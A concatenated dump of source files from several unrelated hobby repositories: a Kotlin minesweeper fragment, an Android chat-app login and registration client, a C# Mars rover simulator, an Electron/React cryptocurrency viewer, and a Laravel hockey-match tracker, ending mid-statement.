Field(EMPTY, 1, false, false), Field(MINE, 1, false, false), Field(EMPTY, 2, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 2, false, false), Field(MINE, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 2, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(MINE, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ) ) fun resetArray(){ fieldMatrix = arrayOf( arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(MINE, 1, false, false), Field(EMPTY, 2, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 2, false, false), Field(MINE, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 2, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ), arrayOf( Field(EMPTY, 1, false, false), Field(MINE, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false), Field(EMPTY, 1, false, false) ) ) } fun generateRandom(){ for (i in 0..totalMines){ val row = (0..5).random() val col = (0..5).random() } var row = 1 var col = 1 } fun setFieldContent(row: Int, col: Int, flagIt: Boolean){ // Make sure we don't "unclick" a field which has already been cleared // This makes sure an explored field remains explored if (fieldMatrix[row][col].wasClicked && !fieldMatrix[row][col].isFlagged){ return } if (fieldMatrix[row][col].wasClicked && fieldMatrix[row][col].isFlagged && flagIt){ fieldMatrix[row][col].isFlagged = !flagIt fieldMatrix[row][col].wasClicked = false return } fieldMatrix[row][col].isFlagged = flagIt fieldMatrix[row][col].wasClicked = true } fun getFieldContent(row:Int, col: Int): Field{ return fieldMatrix[row][col] } fun didUserWin(): Boolean{ var userFlagCount = 0 for (row in fieldMatrix){ for (field in row){ if (field.type == MINE && !field.isFlagged){ return false } if (field.type == EMPTY && field.isFlagged){ return false } if (field.isFlagged){ userFlagCount++ } } } return userFlagCount == totalMines } fun didUserLose(): Boolean{ var userFlagCount = 0 for (row in fieldMatrix){ for (field in row){ if (field.type == MINE && field.wasClicked && !field.isFlagged) { return true } else if (field.isFlagged){ userFlagCount++ } } } return userFlagCount >= totalMines } fun flagsLeft(): Int{ var userFlagCount = 0 for (row in fieldMatrix){ for (field in row){ if (field.isFlagged){ userFlagCount++ } } } return totalMines - userFlagCount } }
9f0ec263d7f9cdacc8fdb9d35919814d305c11be
[ "Kotlin" ]
3
Kotlin
yasoob/mobile-project
03c2fc510cc42e09946dbdef5dc2b2ba8be8d4ed
e2db068f0e5adbafaa518109756064c0bd12f4f3
refs/heads/master
<repo_name>saver-live/weiliao<file_sep>/app/src/main/java/saver/com/talker/login/view/LoginActivity.java package saver.com.talker.login.view; import android.content.Context; import android.content.Intent; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.view.KeyEvent; import android.view.View; import android.view.View.OnClickListener; import android.view.inputmethod.EditorInfo; import android.view.inputmethod.InputMethodManager; import android.widget.AutoCompleteTextView; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import saver.com.talker.R; import saver.com.talker.UpdatePassword.view.UpdatePasswordActivity; import saver.com.talker.home.view.HomeActivity; import saver.com.talker.login.presente.LoginPresenter; import saver.com.talker.register.view.RegisterActivity; /** * A login screen that offers login via email/password. */ public class LoginActivity extends AppCompatActivity implements ILoginView, TextView.OnEditorActionListener, OnClickListener { /** * @date 2017/04/23 * @author saver. */ public static final int REGISTER_REQUEST_CODE = 0; public static final int UPDATE_PASSWORD_REQUEST_CODE = 1; private AutoCompleteTextView mEmailView; private EditText mPasswordView; private View mProgressView; private View mLoginFormView; private View focusView = null; private LoginPresenter presenter; private Button btnLogin, btnRegister, btnUpdatePassword; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_login); // Set up the login form. init(); setListenre(); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == REGISTER_REQUEST_CODE && resultCode == 100) { Toast.makeText(this, "注册成功", Toast.LENGTH_SHORT).show(); } if (requestCode == UPDATE_PASSWORD_REQUEST_CODE && resultCode == 100) { Toast.makeText(this, "修改成功", Toast.LENGTH_SHORT).show(); } super.onActivityResult(requestCode, resultCode, data); } /*登录*/ @Override public void onClick(View v) { switch (v.getId()) { case R.id.email_sign_in_button: String username = mEmailView.getText().toString(); String password = mPasswordView.getText().toString(); presenter.login(username, password); break; case R.id.register: presenter.entryToRegister(); break; case R.id.forgetPassword: presenter.entryToUpdatePassword(); break; } } /*返回*/ @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_BACK && presenter.cancel()) { return true; } return super.onKeyDown(keyCode, event); } /*登录*/ @Override public boolean onEditorAction(TextView v, int actionId, KeyEvent event) { if (actionId == R.id.login || actionId == EditorInfo.IME_ACTION_DONE) { String username = mEmailView.getText().toString(); String password = <PASSWORD>(); presenter.login(username, password); return true; } return false; } /*初始化控件*/ public void init() { mEmailView = (AutoCompleteTextView) findViewById(R.id.email); mPasswordView = (EditText) findViewById(R.id.password); mLoginFormView = findViewById(R.id.login_form); mProgressView = findViewById(R.id.login_progress); btnLogin = (Button) findViewById(R.id.email_sign_in_button); btnRegister = (Button) findViewById(R.id.register); btnUpdatePassword = (Button) findViewById(R.id.forgetPassword); presenter = new LoginPresenter(this); } /*设置监听*/ public void setListenre() { btnLogin.setOnClickListener(this); btnRegister.setOnClickListener(this); mPasswordView.setOnEditorActionListener(this); btnUpdatePassword.setOnClickListener(this); } /*当用户名输入为空时*/ @Override public void onEmptyEmail(String hint) { mEmailView.setError(hint); focusView = mEmailView; } /*当密码输入为空时*/ @Override public void onEmptyPassword(String hint) { mPasswordView.setError(hint); focusView = mPasswordView; } /*当用户名非法时*/ @Override public void onInvalidEmail(String hint) { mEmailView.setError(hint); focusView = mEmailView; } /*当密码非法时*/ @Override public void onInvalidPassword(String hint) { mPasswordView.setError(hint); focusView = mPasswordView; } /*正在登录*/ @Override public void onLoading() { mProgressView.setVisibility(View.VISIBLE); mLoginFormView.setVisibility(View.GONE); } /*获取错误时的焦点*/ @Override public void onFocus() { focusView.requestFocus(); } /*等登录成功时*/ @Override public void onSucceed() { Intent intent = new Intent(LoginActivity.this, HomeActivity.class); startActivity(intent); finish(); overridePendingTransition(R.anim.slide_in, R.anim.keep); } /*当登录失败时*/ @Override public void onError() { mProgressView.setVisibility(View.GONE); mLoginFormView.setVisibility(View.VISIBLE); Toast toast = Toast.makeText(this, R.string.error_incorrect_password, Toast.LENGTH_SHORT); toast.show(); } /*当登录被取消时*/ @Override public void onCancel() { mProgressView.setVisibility(View.GONE); mLoginFormView.setVisibility(View.VISIBLE); } @Override public void onEntryToRegister() { Intent intent = new Intent(LoginActivity.this, RegisterActivity.class); startActivityForResult(intent, REGISTER_REQUEST_CODE); overridePendingTransition(R.anim.slide_in, R.anim.keep); } @Override public void onEntryToUpdatePassword() { Intent intent = new Intent(this, UpdatePasswordActivity.class); startActivityForResult(intent, UPDATE_PASSWORD_REQUEST_CODE); overridePendingTransition(R.anim.slide_in, R.anim.keep); } @Override // TODO: 2017/5/3 0003 public void onUnKnowException() { mProgressView.setVisibility(View.GONE); mLoginFormView.setVisibility(View.VISIBLE); Toast.makeText(LoginActivity.this, "未知错误", Toast.LENGTH_SHORT).show(); } @Override public void hideSoftInput() { InputMethodManager imm = (InputMethodManager) getSystemService(Context.INPUT_METHOD_SERVICE); imm.toggleSoftInput(0, InputMethodManager.HIDE_NOT_ALWAYS); } } <file_sep>/app/src/main/java/saver/com/talker/login/view/ILoginView.java package saver.com.talker.login.view; import saver.com.talker.login.moudel.User; /** * Created by Administrator on 2017/4/23 0023. */ public interface ILoginView { public void onEmptyEmail(String hint); public void onEmptyPassword(String hint); public void onInvalidEmail(String hint); public void onInvalidPassword(String hint); public void onLoading(); public void onFocus(); public void onSucceed(); public void onError(); public void onCancel(); public void onEntryToRegister(); public void onEntryToUpdatePassword(); public void onUnKnowException(); public void hideSoftInput(); } <file_sep>/app/src/main/java/saver/com/talker/register/view/RegisterActivity.java package saver.com.talker.register.view; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.annotation.TargetApi; import android.content.pm.PackageManager; import android.support.annotation.NonNull; import android.support.design.widget.Snackbar; import android.support.v7.app.AppCompatActivity; import android.app.LoaderManager.LoaderCallbacks; import android.content.CursorLoader; import android.content.Loader; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.os.Build; import android.os.Bundle; import android.provider.ContactsContract; import android.support.v7.widget.Toolbar; import android.text.InputFilter; import android.text.Spanned; import android.text.TextUtils; import android.view.KeyEvent; import android.view.MenuItem; import android.view.View; import android.view.View.OnClickListener; import android.view.inputmethod.EditorInfo; import android.widget.ArrayAdapter; import android.widget.AutoCompleteTextView; import android.widget.Button; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; import saver.com.talker.R; import saver.com.talker.register.presente.RegisterPresenter; import static android.Manifest.permission.READ_CONTACTS; /** * A login screen that offers login via userNameInput/passwordInput. */ public class RegisterActivity extends AppCompatActivity implements IRegisterView, OnClickListener { private RegisterPresenter registerPresenter; private AutoCompleteTextView userNameInput; private EditText passwordInput, confirmPasswordInput; private Button register; /* * init * */ private void init() { Toolbar toolbar = (Toolbar) findViewById(R.id.registerToolbar); toolbar.setTitle(""); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); userNameInput = (AutoCompleteTextView) findViewById(R.id.emailRegister); passwordInput = (EditText) findViewById(R.id.passwordRegister); confirmPasswordInput = (EditText) findViewById(R.id.confirmPasswordRegister); register = (Button) findViewById(R.id.email_register_button); register.setOnClickListener(this); registerPresenter = new RegisterPresenter(this); } /*activity跳转动画*/ private void finishAnimation() { setResult(0); finish(); overridePendingTransition(R.anim.keep, R.anim.slide_out); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_register); init(); } @Override public void onBackPressed() { finishAnimation(); } @Override public boolean onOptionsItemSelected(MenuItem item) { if (item.getItemId() == android.R.id.home) { finishAnimation(); return true; } ; return super.onOptionsItemSelected(item); } @Override public void initView() { /*用户名过滤非法字符和空格*/ InputFilter filter = new InputFilter() { @Override public CharSequence filter(CharSequence source, int start, int end, Spanned dest, int dstart, int dend) { if (source.toString().equals(" ")) { return ""; } String speChat = "[`~!@#$%^&*()+=|{}':;',\\[\\].<>/?~!@#¥%……&*()——+|{}【】‘;:”“’。,、?]"; Pattern pattern = Pattern.compile(speChat); Matcher matcher = pattern.matcher(source.toString()); if (matcher.find()) return ""; else return null; } }; userNameInput.setFilters(new InputFilter[]{filter}); } @Override public void register() { } @Override public void onCancel() { } @Override public void onSuccess() { setResult(100); finish(); } @Override public void onDifferentPassword() { passwordInput.setError("两次密码不一致"); } @Override public void onInvalidUsername() { userNameInput.setError("用户名不能少于5个字符"); } @Override public void onInvalidPassword() { passwordInput.setError("密码不能少于5个字符"); } @Override public void onEmptyUsername() { userNameInput.setError("请输入用户名"); } @Override public void onEmptyPassword() { passwordInput.setError("请输入密码"); } @Override public void onEmptyRePassword() { confirmPasswordInput.setError("请输入确认密码"); } @Override public void onClick(View v) { String username = userNameInput.getText().toString(); String password = passwordInput.getText().toString(); String rePassword = confirmPasswordInput.getText().toString(); registerPresenter.register(username, password, rePassword); } } <file_sep>/app/src/main/java/saver/com/talker/login/presente/JsonAnalysis.java package saver.com.talker.login.presente; import org.json.JSONException; import org.json.JSONObject; /** * Created by Administrator on 2017/5/3 0003. */ public class JsonAnalysis { /* * sample * {server:{status:1}} * */ // TODO: 2017/5/3 0003 public static boolean login(String json) { try { JSONObject server = new JSONObject(json); JSONObject state = new JSONObject(server.getString("Server")); String result = state.getString("state"); if (result.equals("ok")) { return true; } } catch (JSONException e) { System.out.println(e.toString()); return false; } return false; } } <file_sep>/app/src/main/java/saver/com/talker/main/view/IMainView.java package saver.com.talker.main.view; /** * Created by Administrator on 2017/4/23 0023. */ public interface IMainView { public void onDump(); } <file_sep>/app/src/main/java/saver/com/talker/login/presente/RequestNetWork.java package saver.com.talker.login.presente; import android.os.Handler; import android.os.Message; import android.util.Log; import com.squareup.okhttp.Call; import com.squareup.okhttp.Callback; import com.squareup.okhttp.MediaType; import com.squareup.okhttp.OkHttpClient; import com.squareup.okhttp.Request; import com.squareup.okhttp.RequestBody; import com.squareup.okhttp.Response; import java.io.IOException; import java.util.concurrent.TimeUnit; /** * Created by Administrator on 2017/5/2 0002. */ public class RequestNetWork { public static final int POST_OK = 200; public static final int POST_FAILURE = 600; public static final int GET_OK = 100; public static final int GET_FAILURE = 300; public static final String TAG = RequestNetWork.class.getName(); public static final MediaType JSON = MediaType.parse("application/json; charset=utf-8"); public OkHttpClient client; public RequestNetWork() { client = new OkHttpClient(); client.setConnectTimeout(10, TimeUnit.SECONDS); client.setWriteTimeout(10, TimeUnit.SECONDS); client.setReadTimeout(30, TimeUnit.SECONDS); } public void postString(String url, String json, final Handler handler) { RequestBody body = RequestBody.create(JSON, json); Request request = new Request.Builder().url(url).post(body).build(); Call call = client.newCall(request); call.enqueue(new Callback() { @Override public void onFailure(Request request, IOException e) { Log.i(TAG,e.toString()); handler.sendEmptyMessage(POST_FAILURE); } @Override public void onResponse(Response response) throws IOException { String result = response.body().string(); Log.i(TAG, "onResponse: " + result); Message message = new Message(); message.what = POST_OK; message.obj = result; handler.sendMessage(message); } }); } public void getString(String url,final Handler handler){ Request request = new Request.Builder().url(url).build(); Call call = client.newCall(request); call.enqueue(new Callback() { @Override public void onFailure(Request request, IOException e) { handler.sendEmptyMessage(GET_FAILURE); } @Override public void onResponse(Response response) throws IOException { String result = response.body().string(); Log.i(TAG, "onResponse: "+result); Message message = new Message(); message.what = GET_OK; message.obj = result; handler.sendMessage(message); } }); } }
9c46e7b726e1f722adeb9ee6dda88e905fe19dca
[ "Java" ]
6
Java
saver-live/weiliao
aa324c145e11b9e54998feb01bb630a712d920b8
ec86c377a3499bd900d0cf73dc53decad800be97
refs/heads/master
<repo_name>ceyuboglu/tiwman<file_sep>/src/reducers/currencies.js import { GET_CURRENCİES_PENDING,GET_CURRENCİES_FULFILLED,GET_CURRENCİES_REJECTED } from '../actions/currencies'; const initialState = { fetching:false, moneys:[], base:{ symbol:'', sign:'' }, done:false }; export default (state = initialState, action) => { switch (action.type){ case GET_CURRENCİES_PENDING: return { ...state, fetching:true, done:false }; case GET_CURRENCİES_FULFILLED: return { ...state, moneys:action.payload.coins, base:action.payload.base, fetching:false, done:true }; case GET_CURRENCİES_REJECTED: return { ...state, fetching:false, done:false }; default: return state; } } <file_sep>/src/pages/detail/Detail.js import React, { Component } from 'react' import { Image } from 'semantic-ui-react'; const electron = window.require('electron'); const ipcRenderer = electron.ipcRenderer; const notloaded = ( <h1>Veri Yükleme Hatası</h1> ); class Detail extends Component { state = { detail:[] }; componentDidMount = () => { ipcRenderer.on('detail',(event,arg) => { this.setState({ detail:arg }) }) }; render() { return ( <div> <Image src={this.state.detail.iconUrl} size='medium'></Image> <h1>{this.state.detail.name}</h1> <a href={this.state.detail.websiteUrl}>{this.state.detail.websiteUrl}</a> <p>Volume:{this.state.detail.volume}</p> <p>marketCap:{this.state.detail.marketCap}</p> <p>price:{this.state.detail.price}</p> <p>circulatingSupply:{this.state.detail.circulatingSupply}</p> <p>totalSupply:{this.state.detail.totalSupply}</p> <p>change:{this.state.detail.change}</p> <p>{console.log(this.state.detail)}</p> </div> ) } } export default Detail <file_sep>/src/pages/home/currencycard.js import React from 'react'; import {Card,Button,Image, Grid} from 'semantic-ui-react'; function Currencycard(props) { return ( <Card className='cardcomp'> <Card.Content> <Image floated='right' size='mini' src={props.data.iconUrl} /> <Card.Header>{props.data.name}</Card.Header> <Card.Meta>{props.data.description}</Card.Meta> <Card.Description> Price:{props.data.price + ' ' + props.base.sign} </Card.Description> </Card.Content> <Card.Content extra> Market Cap: <strong>{props.data.marketCap}</strong> </Card.Content> </Card> ) } export default Currencycard; <file_sep>/src/App.js import React from 'react'; import Detail from './pages/detail/Detail'; import Home from './pages/home/Home'; import 'semantic-ui-css/semantic.min.css' import { BrowserRouter, Route, Switch } from 'react-router-dom'; function App() { return ( <div style={{height:'100%'}}> <BrowserRouter> <Route exact path='/' component={Home}></Route> <Route exact path='/detail' component={Detail}></Route> </BrowserRouter> </div> ); } export default App; <file_sep>/README.md Electronjs / React / Redux ![](ss.png) <file_sep>/public/main.js const electron = require('electron'); const ipcMain = electron.ipcMain; const app = electron.app; const BrowserWindow = electron.BrowserWindow; const Menu = electron.Menu; const path = require('path'); const url = require('url'); const isDev = require('electron-is-dev'); let mainWindow; let detailWindow; function createWindow() { mainWindow = new BrowserWindow({width: 900, height: 700, webPreferences:{nodeIntegration:true}}); mainWindow.loadURL(isDev ? 'http://localhost:3000' : `file://${path.join(__dirname, '../build/index.html')}`); mainWindow.on('closed', () => mainWindow = null); detailWindow = new BrowserWindow({width: 900, height: 700,parent: mainWindow, show:false, webPreferences:{nodeIntegration:true}}); detailWindow.loadURL(isDev ? 'http://localhost:3000/detail' : `file://${path.join(__dirname, '../build/index.html')}`); detailWindow.on('close', (e) => { e.preventDefault(); detailWindow.hide(); }); } app.on('ready', createWindow); app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit(); } }); app.on('activate', () => { if (mainWindow === null) { createWindow(); } }); ipcMain.on('get-details',(event,arg) => { detailWindow.show(); detailWindow.webContents.send('detail',arg) });
d55867ef479498051bea437dee8ba29a198e2c8d
[ "JavaScript", "Markdown" ]
6
JavaScript
ceyuboglu/tiwman
8bb0daa15cdeecdc824af023430beae923fbb2f6
62628a98c1af8c44004ee18f921e072582ba5b5d
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace globaledit_Rovers { public class Grid { public int maxX { get; set; } public int maxY { get; set; } /// <summary> /// Defualt constructor /// </summary> public Grid() { } /// <summary> /// Create grid /// </summary> /// <param name="x">width</param> /// <param name="y">height</param> public Grid(int x, int y) { this.maxX = x; this.maxY = y; } } } <file_sep>using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace globaledit_Rovers { class Program { // assumption the input is sent in a file static List<Coordinates> scents = new List<Coordinates>(); static Int16 maxX = 0; static Int16 maxY = 0; /// <summary> /// Move Mars Rovers /// </summary> /// <param name="args"></param> static void Main(string[] args) { StreamReader file = new StreamReader(@"..\..\input\small.in"); TextWriter tw = new StreamWriter(@"..\..\output\output.txt"); try { string upperRightCoordinates = file.ReadLine(); if (!string.IsNullOrEmpty(upperRightCoordinates)) { // get coordiantes string[] coords = upperRightCoordinates.Split(' '); maxX = Convert.ToInt16(coords[0]); maxY = Convert.ToInt16(coords[1]); if (maxX == 0 && maxY == 0) { Console.WriteLine("The grid is too small"); tw.WriteLine("The grid is too small"); } else { // make grid Grid roverGrid = new Grid(maxX, maxY); while (!file.EndOfStream) { //initial rover data string[] roverData = file.ReadLine().Split(' '); if (roverData.Length == 3) { Int16 startPosX = Convert.ToInt16(roverData[0]); Int16 startPosY = Convert.ToInt16(roverData[1]); string direction = roverData[2]; Console.WriteLine("Creating new rover....."); Rover rover = new Rover(startPosX, startPosY, direction); //rover movements char[] movements = file.ReadLine().ToArray(); //execute movements ExecuteMovements(rover, movements, roverGrid); // display current location if (rover.isLost) { //Console.WriteLine(rover.coords.x + " "+ rover.coords.y + " " + rover.direction ); tw.WriteLine(rover.coords.x + " " + rover.coords.y + " " + rover.direction + " LOST"); } else { //Console.WriteLine(rover.coords.x + " "+ rover.coords.y + " " + rover.direction ); tw.WriteLine(rover.coords.x + " " + rover.coords.y + " " + rover.direction); } } else { file.ReadLine(); Console.WriteLine("Bad Data! Please check your inputs." ); tw.WriteLine("Bad Data! Please check your inputs."); } } } } } catch (Exception e) { Console.WriteLine("Error: " + e.Message); tw.WriteLine("Error!!! " + e.Message); } finally { file.Close(); tw.Close(); } } /// <summary> /// Execute all movements /// </summary> /// <param name="rover"></param> /// <param name="movements"></param> /// <param name="roverGrid"></param> static void ExecuteMovements(Rover rover, char[] movements, Grid roverGrid ) { foreach(char move in movements) { Coordinates oldLocation = new Coordinates(rover.coords.x,rover.coords.y); switch (move.ToString().ToUpper()) { case "F": rover.MoveFoward(scents); break; case "R": rover.TurnRight(); break; case "L": rover.TurnLeft(); break; } if(!OnGrid(rover.coords)) { if (scents.Contains(oldLocation)) { // ignore the move rover.coords = oldLocation; } else { // Add scent AddScent(oldLocation); // revert back to old location rover.coords = oldLocation; // set direction to lost if (rover.coords.x >= roverGrid.maxX || rover.coords.y >= roverGrid.maxY) { rover.isLost = true; } //break out of for loop because you are lost break; } } } } /// <summary> /// Add scent /// </summary> /// <param name="coord"></param> static void AddScent(Coordinates coord) { // make sure not to add dupes if (!scents.Contains(coord)) { scents.Add(coord); } } /// <summary> /// Check if rover is on the grid /// </summary> /// <param name="coords"></param> /// <returns></returns> static bool OnGrid(Coordinates coords) { return (coords.x >= 0) && (coords.x <= maxX) && (coords.y >= 0) && (coords.y <= maxY); } } } <file_sep>• An architecture & design overview describing your application design of the entire solution. Specifically we are interested in seeing: The main architecture of the program is that there will be 3 classes. Coordinates: This class encapsulates the x and Y coordinates for each rover and for each position on the grid. Rover: This class encapsulates the coordinates, direction and movements of each rover. Grid: This sets up the boundaries of the grid as well as ensures the rovers are within the bounds of the grid as specified in the input. The main program will create instances of the grid and all the rovers. It will then execute all the movements specified in the input by calling the rover's movement functions. If it goes out of bounds the scent is added to the list and the rover is deemed lost. Otherwise the rover keeps going until there are no more movements then displays it's current location. • List of assumptions that you made The inputs are passed in via a text file The inputs are separated by only one line not two There are always a list of movements followed by the initial position of the rover The board size is less than 2^32 There are no blank or empty movements in the string • An estimate of how long this would take if you were asked to build the entire solution for a customer Depends on how intricate they want the UI to be. If it requires actually showing a rover moving on a grid this could take some time. So I will need more information on the scope. • Source code (including any automated tests) <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace globaledit_Rovers { public class Rover { public Coordinates coords { get; set; } public string direction { get; set; } public bool isLost { get; set; } /// <summary> /// Default constructor /// </summary> public Rover() { } /// <summary> /// Create rover with specfic coordinates for location /// </summary> /// <param name="coords"></param> public Rover(Coordinates coords) { this.coords = coords; this.isLost = false; } /// <summary> /// Create rover with x,y, and direction set /// </summary> /// <param name="x"></param> /// <param name="y"></param> /// <param name="direction"></param> public Rover(int x, int y, string direction) { Coordinates coords = new Coordinates(x, y); this.coords = coords; this.direction = direction; this.isLost = false; } /// <summary> /// Move the rover foward /// </summary> /// <param name="scents"></param> public void MoveFoward(List<Coordinates> scents) { switch (direction.ToUpper()) { case "N": coords.y += 1; break; case "S": coords.y -= 1; break; case "E": coords.x += 1; break; case "W": coords.x -= 1; break; } } /// <summary> /// Move the rover 90 degrees to the right /// </summary> public void TurnRight() { switch (direction.ToUpper()) { case "N": direction = "E"; break; case "S": direction = "W"; break; case "E": direction = "S"; break; case "W": direction = "N"; break; } } /// <summary> /// Move the rover 90 to the left /// </summary> public void TurnLeft() { switch (direction.ToUpper()) { case "N": direction = "W"; break; case "S": direction = "E"; break; case "E": direction = "N"; break; case "W": direction = "S"; break; } } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace globaledit_Rovers { public class Coordinates : IEquatable<Coordinates> { public int x { get; set; } public int y { get; set; } //public string direction { get; set; } public Coordinates() { } public Coordinates(int x, int y) { this.x = x; this.y = y; //this.direction = direction; } public override bool Equals(object obj) { if (obj == null) return false; Coordinates objAsPart = obj as Coordinates; if (objAsPart == null) return false; else return Equals(objAsPart); } public bool Equals(Coordinates other) { if (other == null) return false; return ( this.x.Equals(other.x) && this.y.Equals(other.y)); } public override int GetHashCode() { return Tuple.Create(x, y).GetHashCode(); } } }
277706c2e66a99238c3e2d460fd541026d52c45b
[ "C#", "Text" ]
5
C#
aruna770/globaledit-Rovers
bc3724669127fc26e1385f7e431f91b7cf02bc20
7d72f5c0a6d5e0f30ac95f0d6b7aeac23e10cdeb
refs/heads/master
<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Requests; use DB; use Twig; class GameController extends Controller { /** * @param $id * @return \Illuminate\Http\JsonResponse */ public function view($id) { $match = DB::table('matches') ->where('id', $id) ->first(); $home = [ 'team' => DB::table('teams')->where('id', $match->home_team_id)->first(), 'game' => DB::table('matches')->selectRaw('home_goals as goals, home_shots as shots, home_penelty_minutes as penalties')->where('id', $id)->first(), 'players' => DB::table('players') ->selectRaw('players.*, match_players.goals, match_players.assists') ->join('match_players', 'players.id', '=', 'match_players.player_id') ->where('match_players.match_id', $id) ->where('match_players.home', 1) ->orderBy('players.id') ->get() ]; $away = [ 'team' => DB::table('teams')->where('id', $match->away_team_id)->first(), 'game' => DB::table('matches')->selectRaw('away_goals as goals, away_shots as shots, away_penelty_minutes as penalties')->where('id', $id)->first(), 'players' => DB::table('players') ->selectRaw('players.*, match_players.goals, match_players.assists') ->join('match_players', 'players.id', '=', 'match_players.player_id') ->where('match_players.match_id', $id) ->where('match_players.home', 0) ->orderBy('players.id') ->get() ]; $home['players'] = array_map(function ($player) { $player->name = $this->fixName($player->name); return $player; }, $home['players']); $away['players'] = array_map(function ($player) { $player->name = $this->fixName($player->name); return $player; }, $away['players']); return Twig::render('game.twig', [ 'home' => $home, 'away' => $away, 'type' => $match->type ]); } /** * @param Request $request * @return \Illuminate\Http\JsonResponse */ public function store(Request $request) { $playerIds = $request->input('player_ids'); $teamIds = $request->input('team_ids'); $matchId = DB::table('matches') ->insertGetId([ 'home_team_id' => $teamIds[0], 'away_team_id' => $teamIds[1] ]); foreach ($playerIds as $key => $playerId) { DB::table('match_players')->insert([ 'match_id' => $matchId, 'player_id' => $playerId, 'home' => intval($key < 2) ]); } return response()->json([ 'id' => $matchId ]); } public function update(Request $request, $id) { $data = $request->all(); DB::table('matches') ->where('id', $id) ->update([ 'home_goals' => $data['home']['goals'], 'home_shots' => $data['home']['shots'], 'home_penelty_minutes' => $data['home']['penalties'], 'away_goals' => $data['away']['goals'], 'away_shots' => $data['away']['shots'], 'away_penelty_minutes' => $data['away']['penalties'], 'type' => $data['type'] ]); foreach ($data['goals'] as $playerId => $goals) { $assists = $data['assists'][$playerId]; DB::table('match_players') ->where('player_id', $playerId) ->where('match_id', $id) ->update([ 'goals' => (int) $goals, 'assists' => (int) $assists ]); } return redirect('/'); } /** * @param Request $request * @return \Illuminate\Http\JsonResponse */ public function randomize(Request $request) { $playerIds = $request->input('player_id', []); $playerIds = array_map('intval', $playerIds); $teams = DB::table('teams') ->orderBy(DB::raw('RAND()')) ->get(); $players = DB::table('players') ->whereIn('id', $playerIds) ->orderBy(DB::raw('RAND()')) ->get(); shuffle($teams); shuffle($players); $homeTeam = [ 'team' => array_shift($teams), 'players' => array_splice($players, 0, 2) ]; $awayTeam = [ 'team' => array_shift($teams), 'players' => array_splice($players, 0, 2) ]; return response()->json([ 'home' => $homeTeam, 'away' => $awayTeam ]); } /** * @param string $name * @return string */ private function fixName($name) { $names = explode(' ', $name); $names[0] = sprintf('%s.', substr($names[0], 0, 1)); return implode(' ', $names); } } <file_sep>$(document).ready(function() { $('select.team-selector').on('change', function () { var teamSlug = $(this).find(':selected').data('slug'); $(this).prev().attr('src', '/assets/img/teams/' + teamSlug + '.svg'); }); $('#randomize-teams-button').on('click', function () { var players = $('#randomize-teams-modal input[type="checkbox"]:checked'); var playerLength = players.length; if (playerLength < 4) { $('#randomize-teams-modal .alert').text("You have to select 4 players").removeClass('hidden'); return false; } if (playerLength > 4) { $('#randomize-teams-modal .alert').text("You can't select more than 4 players").removeClass('hidden'); return false; } $.ajax('/game/randomize', { method: 'GET', data: players.serialize(), success: function (data) { $('select[name="home_team_id"] option[value="' + data.home.team.id + '"]').prop('selected', true).trigger('change'); $('select[name="away_team_id"] option[value="' + data.away.team.id + '"]').prop('selected', true).trigger('change'); var playerSelects = $('#create-game-modal select[name="player_id[]"]'); var players = data.home.players.concat(data.away.players); $.each(playerSelects, function (key, playerSelect) { $(playerSelect).find('option[value="' + players[key].id + '"]').prop('selected', true); }); $('#randomize-teams-modal').modal('hide'); $('#create-game-modal').modal('show'); } }); }); $('#create-game-button').on('click', function () { var playerSelects = $('#create-game-modal select[name="player_id[]"]'), playerIds = [], errors = ''; $.each(playerSelects, function (key, playerSelect) { var playerId = $(playerSelect).find('option:selected').val(); if (playerIds.indexOf(playerId) > -1) { errors = "You have to select four different players"; } playerIds.push(playerId); }); if (errors != '') { $('#create-game-modal .alert').text(errors).removeClass('hidden'); return false; } $.ajax('/game', { method: 'POST', data: { 'player_ids': playerIds, 'team_ids': [ $('#create-game-modal select[name="home_team_id"] option:selected').val(), $('#create-game-modal select[name="away_team_id"] option:selected').val(), ] }, success: function (response) { document.location = '/game/' + response.id; } }) }); $('.btn-number').click(function(e){ e.preventDefault(); fieldName = $(this).attr('data-field'); type = $(this).attr('data-type'); var input = $("input[name='"+fieldName+"']"); var currentVal = 